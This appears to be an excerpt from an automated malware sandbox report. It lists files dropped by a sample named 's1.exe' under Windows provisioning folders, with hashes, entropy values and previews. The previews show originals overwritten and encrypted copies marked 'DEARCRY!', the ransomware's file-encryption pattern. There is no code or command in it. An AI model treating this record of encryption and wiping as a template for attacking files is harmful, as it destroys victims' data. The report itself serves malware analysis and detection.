                                                              C:\ProgramData\Microsoft\Provisioning\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\Prov\RunTime.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):872
                                                              Entropy (8bit):7.75429046138644
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:76E7ABFD531783DEDE5179B62BC32B15
                                                              SHA1:7EA66D2D6D858BC2C3DB982157408E9D4A921586
                                                              SHA-256:CA43777C03A89F863890449EE575B058AA8D35509A3F750C29BB5F6C5B273042
                                                              SHA-512:B37980C8490F846D7603C418F6982CAC92B5EF09908614BF26FA2DB849144B7EB7EBA36CD8F1ABF31895EA7FF8BF49A97BA38DDAC693E201C67096C72A008B6E
                                                              Malicious:false
                                                              Preview: DEARCRY!....LH.2.`.n..z4..uY.Vge.@. ....Y?.a[....#'..D...r..K}\...j. TW.\..S....e.(3..m..!.8.\d....$-..U...#...{...I...F..u..'.m.......o.G.-..y.......A...}..(..........f.....E)$.[..jm:..uE.Zm..e^Z@..g.a.y.C.+>z...i......l8.....Bm.i..z.*.T.N..-.'."..Qa.(..U....C.........D..{n.....~.kK...f.(.:. x...|.vD......[...+1;>..1C.(.-.O....q..`.akjY...T.eX_I4.....$...B..tT[.Q;5..S.bs.c8uT..S.......gxK.V}k.|....$..E.....].k.|\..%..1#*..V...il..3K...d!{.....o...H.{.b.Z.....P.y..r..e. ..a.. ...K.Mb<./..BN'[*..E...5...,0<...Ku]j.....gS..~..e.%'...i..../@.?....G.....9.L..Nj./.....4......T.O[C..L.r..eb~...6bu.r.:.".....yr~,M..'...1$=)pQ7.R..(`.h.o............Q.#.#H....z.{..+I..p.^..Q.@-.I......\s.W.g...;..a...Y.=..7..g..T...e.XFK.Z.2..42o..@....^..tf.!...2&{L.`.....dyD$!../x..$.+`"7s\.|~.j%/t...7...jZY....T.....g.5.-e.}......9E...&H.Ui.
                                                              C:\ProgramData\Microsoft\Provisioning\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\customizations.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2444
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:3B78ED065A915EBE162BE09BBC717353
                                                              SHA1:8D7FFF6642F5A3F9DD5DDE0F3042E2AEC4325034
                                                              SHA-256:260DFF8B4C24137427AD01498DFD439A6FA229AF3CE5C9602183EABAB4DD9E7D
                                                              SHA-512:1E54E44ACD1623C7687BD6DE88EA1CA2FDCCD8E4F4A99BB50A04F2C02AD90A936A0F273A23EA136304D537D3840DB3C84F119F20BECED6E356D5FA00B2B3D96A
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Provisioning\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\customizations.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2728
                                                              Entropy (8bit):7.937274983798036
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:551F6E9B0441A0EBAEFAF93D6E888879
                                                              SHA1:C05F7169F51ECC64C09DE836138FBD22681A9915
                                                              SHA-256:AAFB77F30A866888FE0F9864D515B3E72B53E9FF7FA845C2A07B54BC41C11872
                                                              SHA-512:0366D1CF56A16231158CB8E72D4AB777DB9146BAC09F547B6A9A2BFBDDE7C0091DF2CD38EA993F20F41AA38A69DBC9440838085850C273874EE9BE99BFCAFDF0
                                                              Malicious:false
                                                              Preview: DEARCRY!.....8..XC..ca_....3..q.3...Fw...B....f.......m...q.&......d...(O?...e..'..n...O..N...U..;@k.....g._M;/....7o...<@.&y.7..q....>....f.."......h.(29..p.S...q...>.(....8%.....VFRy7.$.d.P}...R{Uw.%..B..-.;;...~..T.$....).D.)b...y..Q..X..zb..=6...H...^P..............r..|.Qp.5.b.k55.]8._.C.p........>..+..a....nC..".=........I....1...S.w.3n.O.ps.mw..N>.....%..kZ..../kp.m..|...j.;".........|..V....G..Q0..)8%,......>~.........B.u..:..W...q&..j.(_../......w..f.w..U.T..g.F...{....4.O.Z......c5@q..gM..ky.D.!..C.\..._S[i`(.w...c......Y.".... .r.4......F.s.~..x[o..o.{.....}.O=.%...O....`......wx0/">.KH..S..._p...C1f.....w?.Q..D.s.U$.{mf./..=N......w_ M.(S.&...*P.N....,l.HZ..u1$-F:n..<.}*......^d...!....il.8y3<..*.w.#e$..Y.g.2g.).........."3.y....|...`.u.=.o@Cy...F.Vuwl..k`s4+p.'P......2"...V..B..*Jj......y....c.......\......4Q3.y^7.5.]8.j5...,..,3.?..kb7s..iA......z.c..#_...z;Be.....A.(b...dI....~[.L1..~r0:{..Jp...e=..Gcm7`@>M.!.x.FZ.=..u..Ti4}
                                                              C:\ProgramData\Microsoft\Provisioning\{1e05dd5d-a022-46c5-963c-b20de341170f}\MasterDatastore.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):271
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:8A60A7CE7E68B0817CD3C8B86D138532
                                                              SHA1:B2585AD3639584F809CD4357A30F9B60B2E087FF
                                                              SHA-256:DE13AD3B28F0F1517DCEBD290F646F04D9B864C226CB3611D55975516E663FE2
                                                              SHA-512:D7E59D4D719111ED9826F08BADC6BCAF13F21844DFE2F55FB5E50B607E9A0779858E36C555C8CB038D23E82C1D1298226C93005859BA0D1E5FEF1B6B3FBEA1D2
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Provisioning\{1e05dd5d-a022-46c5-963c-b20de341170f}\MasterDatastore.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):552
                                                              Entropy (8bit):7.588451559412428
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:BDF9B979C3FE44D1F06499EE7C016361
                                                              SHA1:400A51BDFA6759985A20F8F600FE720112F2B569
                                                              SHA-256:9814D1BF9A296ED17A7172E55C0C169EA01062A54A08E65C7BC3FC3B1EFE9990
                                                              SHA-512:771E6B7A6533050DE0AD583772F6A24D990FCC7B2B15B3F26372E088547B71F3B28E0675FB8F5EE573A12A29726D6CAFFC6846403C4C38D295097B84AE04BA78
                                                              Malicious:false
                                                              Preview: DEARCRY!....t...4.6[.fr.N.....:.x..z..5...y..R&0......q#V.;c.k..E(..JZ.L..b.8.L?...P..<pQIH.nn?.'6.s..........8.......m=.....f.}.>.q.$.........e...k..73+".......IN...N..2.`d....^d.G^....#.zlTU.B.._.h.ln?l...od.+.p%.....)T2.G.....-7..t.S.I....w^*.JlD..b`..p...1............R...L....F..F.Z(..1.)...=s%.>.m.....|..#...7 ....%.].......<..S......ak..._t;...m.._...!.{,.yp9....b...L.....n..r.^...?..k..<...R..r#.*&..q#!...&..#.n`.y...;9T.....,Q....)...Y..0......).x@..k6........[.P...U.... .u.^,.#..h..PjW....f.m....b.k....jR2....
                                                              C:\ProgramData\Microsoft\Provisioning\{1e05dd5d-a022-46c5-963c-b20de341170f}\Prov\RunTime.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):244
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:F1271824A2CFCEDBCB03621D0E210966
                                                              SHA1:9F7911278A635E30323489C14BC69C703A76371C
                                                              SHA-256:E958048116A30004C0902821F6774A6F3D544C68C6CADF50DDE17D8B150CFA12
                                                              SHA-512:34EF975CC6FF5EEB456477C2683D5E65E5AB3CACFBF0D3E91BD274DE320F55E49A46FC628698E8BC10B768DDD65A1E87BFE945E656E8ECA1EC796446266B4AEE
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Provisioning\{1e05dd5d-a022-46c5-963c-b20de341170f}\Prov\RunTime.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):536
                                                              Entropy (8bit):7.601599659404876
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:8D66699F4F24219C7FD8402D16CF8106
                                                              SHA1:64CC8B917F16BF294C8565FD670453F7DBB1B940
                                                              SHA-256:AB1440E332088403A17BA209E17138F21B835397171AD7413CC0462DFCF0C476
                                                              SHA-512:A674EEBC444DAC45A88040C6EE342A909E966376FF8581072D594D6BE2FD1D3F768A23B68E0162BC0C83F6DF47B1DC027E52FD6E8A23C548946B496F0EC0D770
                                                              Malicious:false
                                                              Preview: DEARCRY!.....1.Di..s....)0`q..T........^.XjR..(#.<..ce..........-.......F...@G.8.K..9.....}...\....,.3rS.../..uezG.../.d_c.hi....c....k...Aw.y...f>.N.... .n@J@...R..~..zV.E.;..v.....a..2...o.+..3d....B.......y...A..-.C....+..+ ..?.....?..BZ.~..r.V..P...................}......T......C*V[.@].. .1...uaRi.....<N.G|.2..9:+V@.=MJ.K..z..".(.b-.E.u.&......I.O.C.c6...^{.c..e..H..1....u..T...,..o.....+....C.j..%!.........q.)...O.'s.l8.1n....r.m=Z.<....)......2.].l..T.....xs...S..v........}G2..2..y.{.-....pi.b.FH......
                                                              C:\ProgramData\Microsoft\Provisioning\{1e05dd5d-a022-46c5-963c-b20de341170f}\customizations.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):720
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:A92D442EF96EAEC9D7C2703C90448EE6
                                                              SHA1:7FAE30307A09EBBC3DCFE3E4F8394FA3EFB4FC73
                                                              SHA-256:F2C1F66417439B8BAA8E3FF0DF9CE7DB40C41404DD370EFA2501F96AB0EC6983
                                                              SHA-512:DA7416D5C4690897B3252CC5360B04792F8812F4FF75E717FDA7F2706AEFB39BDD7A59A821630268FE7F93085CEDD78AD8FE64C70A3EF4FD2310053EAE80A4C9
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Provisioning\{1e05dd5d-a022-46c5-963c-b20de341170f}\customizations.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):1016
                                                              Entropy (8bit):7.768667043150091
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:B11D2AB7BC2EE15DAC1A35DA90BF9916
                                                              SHA1:C080470A0295BC590F32E6823020973D6AA2A3C0
                                                              SHA-256:CE08125BD817CF3B65F82489B33EAFAFE1FB23E00CE81FAFF9CD76CF7A69307D
                                                              SHA-512:74E236695ADF1F983619191F1ACEF8628A72A293C831881670DD625A22F75F72960080E1714884CBC9D2A73B168CAAB6F829E51588ABF92BAEE6BE8B485178D2
                                                              Malicious:false
                                                              Preview: DEARCRY!....Yd0\....D.)..?.B7N.W......eH ..../.3.V.j.91x.q..m?. ..TI.g..m.c.f....:..k2...Q.)..R....k:.7.c..N._@.........t.G.1......&$.<.[z...T..y^..Q@.k..[.O..:o ..O...F..#9.6.F.........mG.:....M.7)Obqf.cma...#sI....bI..\...'.....x?O.....mbz..i.....G....O............4.<.}n....l...z[.....n.....X..0do.ut..>...s...3.....d...:0F......*.9../..'.#..s..B..G.{..?...>.b.........{3...s...^.O....^{..S..e.7N..G..<...9..5....!^DXL?.4|....F<.&...."{rD.X.a....G....g;x....e5R.Y........;.n[.XK..U.......1.I.._A...C...g.vG>.Q...Ni.....u...........5..z.......]..p....Y..*&........\X B6{.....3...{......U..6@.....ZP....@V..%.?u.@..6...-.....9..E.k..nj.uF......q.......'tH....c....d.H.!......UK.9..$$k......7~.hDh..5/A..Yj.O.(.&..,.b..}{.......O..B....;c.6...9&....}d".#.":z.`...tvU........ox.....g..63>.......mq.;.....'......R..."...u9<..XEc......0%.0;x....6.R..k(.g.g=\.....28Tif.....p./..q.....g..:JC4.>*....?~....0.8EG7.#y-0..M.P@e...V.....w....u.a..0...B|..8....
                                                              C:\ProgramData\Microsoft\Provisioning\{23cb517f-5073-4e96-a202-7fe6122a2271}\MasterDatastore.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):271
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:8A60A7CE7E68B0817CD3C8B86D138532
                                                              SHA1:B2585AD3639584F809CD4357A30F9B60B2E087FF
                                                              SHA-256:DE13AD3B28F0F1517DCEBD290F646F04D9B864C226CB3611D55975516E663FE2
                                                              SHA-512:D7E59D4D719111ED9826F08BADC6BCAF13F21844DFE2F55FB5E50B607E9A0779858E36C555C8CB038D23E82C1D1298226C93005859BA0D1E5FEF1B6B3FBEA1D2
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Provisioning\{23cb517f-5073-4e96-a202-7fe6122a2271}\MasterDatastore.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):552
                                                              Entropy (8bit):7.5750122399149635
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:D0ADA5325694EC1C604BEEFE9A200529
                                                              SHA1:8DEC8EFA2E2CF947DA576F3AD843C26C8F7FBC2F
                                                              SHA-256:8BE64D05D40CEB22E60D45C006E79AED8C4D8E3E08B1638196E064C54EAAD29F
                                                              SHA-512:A47AD83E4AD3C290EF50DCF818C5904A3269E3DD8B9E788B71B3A5D2868A63A65FE6E3B0CEA7FAF6595178038D9DE7B413AE673707A268DF05A51561EE8B3D3F
                                                              Malicious:false
                                                              Preview: DEARCRY!....E.6....].Y.H..~....H...If}8..}.de.f.@#...}....pU..L.y......k.].Qo*0.H*SN...L,J.D...2...@U.~.....H.L.s...r.....x.#......M.'T....1...1...J.]...$.j.cP_.z..E......>...,.zA.N..H.>..C...aC......8K....D....b_.0.\...:m...q.{.iLM......U...x..P.!.O............."+.....||H~fS..A....nMQ@....n...Q'as.....)..6.`.V.I3....Ua@}&..jf......7>..!.2...n *.@H.%..9..e...M..D~TN.p..+....()Ti4j...c.|...U.......6......yT...}.q.h......l.w.{^..ON...o.O....ZeM...=..<5@.93.=..mz.....w..H.@..u.....TnH.s.C(...ZT..x...Y..Jpd..%.......u...
                                                              C:\ProgramData\Microsoft\Provisioning\{23cb517f-5073-4e96-a202-7fe6122a2271}\Prov\RunTime.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):251
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:C5B2CC42CAD6BAFE68B2CE48763BF498
                                                              SHA1:7687EA986304DF2B7C64237143E7ECD89B022D3F
                                                              SHA-256:599045BE2B36ED4A06B4C7385889C9855BB5FB6DE4D03F228458A7A7FF650127
                                                              SHA-512:195B5FE7AA2437411CECFA3158D3424624B12E99586BC32CF68305E9703BA89C66B5F3C14A708475C48010781273016C01B554EAB3BECF834D5A99562170ED4A
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Provisioning\{23cb517f-5073-4e96-a202-7fe6122a2271}\Prov\RunTime.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):536
                                                              Entropy (8bit):7.517859452996844
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:4D8B476FBA33B27FE792D36EE3A1523B
                                                              SHA1:724DF4D9091CC0E88FF703E06FD9D32274A3D99A
                                                              SHA-256:DF53E99F520BF92E73C1CFF1D63B91AA4457717AAC8A1DE56020B0AB02B17989
                                                              SHA-512:A8444019485F8EEABCCCB57FEF9975D787C3EF798AF5D1D7507F24BA6F6D50F822D4823DF05C14DBEF570024C0F5301DCD1FB9260F6B82571711EA9170A2AA9D
                                                              Malicious:false
                                                              Preview: DEARCRY!......3.P9.A.=.....HAO.\.&;.U..........-..,....om...VmY..T."5.fZa.hX...e.(.D......w.....pr.|:[z....Ot'`h.....A.I..%.8...t.%.......R......(E../b*w...Ec.r..]...Ti,e..2x.[....h.V...Z.\.._..i.w.i.`1..A%G.}....n....z....G.T....ff?.L`....S.Jt..6..;...0............|.7....S..!/.D..w.....J.38.<......*.K...<..o0...X.P.3w..D`.....y......b......qnm..O......5...'..R...TM.......1..Ub..gOZZ..fH...2...`.voj....^....zX6..7o..+..d...<...~.......m.Q...%r0[...}.V8.!.g-...*t..Z....T..V.\].f{). l...6..O..w..G..:
                                                              C:\ProgramData\Microsoft\Provisioning\{23cb517f-5073-4e96-a202-7fe6122a2271}\customizations.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3257
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:A29F0B4072A69E2648D998C566534B8A
                                                              SHA1:B2AD7949A2395F1FBE753D993D9707A7165A6209
                                                              SHA-256:BA4D99FB441711DE2C001A6E76EF5764278DA3AF34EE369D3501547DCDBF5303
                                                              SHA-512:55A06039AF38FACFEF921E26FCB69F5382D2A02E22DE485A6D0674ECDED50DE3176B3A32A3575CA421021942D1EC470B9D96D4A9836AB54A43B8202CF0C86EF8
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Provisioning\{23cb517f-5073-4e96-a202-7fe6122a2271}\customizations.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3544
                                                              Entropy (8bit):7.943751738257878
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:FE14C58EC4B5586CE6B15AE5719A63DA
                                                              SHA1:3D0BF272ADE6DEE5725A53787ED697FD2DCA0D36
                                                              SHA-256:0BFEBC137BA90F2441F595BE7F72ED365D89C7DD06935FD57EC40D33C055D3E1
                                                              SHA-512:E2E87E7B25F11B7F76122E4DCE7A5927C7AC911413525E0AD8F5DAEF24051576A971669066C3DF4C0C32F3C3D024B3B672ADF349692EA95DC2B79CD9C4372D41
                                                              Malicious:false
                                                              Preview: DEARCRY!.....+...`.=.^.(..FC.....u.."....6....R...Z?T.q..b...q../..@.]YB..N....{....&....y...t.@...|...ewe.+..O.c]!=...P..S..v.].Z.uI..S.c..D.....R.<l.....'./....&0\.K.!......<..l6K..".O........*.:5..O._F[...........v..'...Y....8...8........JR=.89.~o.-[.............6.M..0.S.........mzT.#.ogA.gy.j..ev.pHS.s..(|M..w.f..7....{.L;z...e.b. g.........Vtr....E5....G0:..T.....;f&L<...1.B.R..........^3...~}..c...._.F...N(_...7...a.}....KG-...q..f...;....1...I.........P..^..H.+.x.Q.xl|.{=$.....g......O.....Y..R...\....k.=R.A..J4G...A...2{...!Xq=..hOa.=.x...4xC..nMw>...T...E.#..0.....Eh..j..Fw.@Bq...v.m....#-8.j....}.`l..0....j...W.{+7.....$..c...!...`.o?zP...Q..C.i.*Rd......0j...<..|..1h......B.2=.V..q....&.1H./... ........H..P6o.............y.....`C.....{.9.ya....!.nO..K.WpAT.f.E.Bf..C*..k....1.....(..-{5.J.w.vbcw.eY.Ps...%.0.j..B.".......[.y..>.....1....@..t:.M.=..>'...!.%.W.#,.[.t.r....].'tS.um...b..': ..eG&..xO..E.|K.1.T8).+..L....,.t.H
                                                              C:\ProgramData\Microsoft\Provisioning\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\MasterDatastore.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):271
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:8A60A7CE7E68B0817CD3C8B86D138532
                                                              SHA1:B2585AD3639584F809CD4357A30F9B60B2E087FF
                                                              SHA-256:DE13AD3B28F0F1517DCEBD290F646F04D9B864C226CB3611D55975516E663FE2
                                                              SHA-512:D7E59D4D719111ED9826F08BADC6BCAF13F21844DFE2F55FB5E50B607E9A0779858E36C555C8CB038D23E82C1D1298226C93005859BA0D1E5FEF1B6B3FBEA1D2
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Provisioning\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\MasterDatastore.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):552
                                                              Entropy (8bit):7.576128071423559
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:3E20F921C0173FBA8CCF0913D10CB39E
                                                              SHA1:55FAC0195F30E5622C90B0A1272C767D1B4571F3
                                                              SHA-256:2C3145CCCAE2D23A6F0174EE265DF5F5A0584A3D7F0CDCA31FB6EA72585F03C8
                                                              SHA-512:8A86BAF5C7B26E33B69C4C4F7303810441484283A1EF05B05906287E6F61EE2383A5E4F7ECFA2EEDBABD0D21D01B06B6B8F0FF03E40BD5DE199593CF9A7B0F04
                                                              Malicious:false
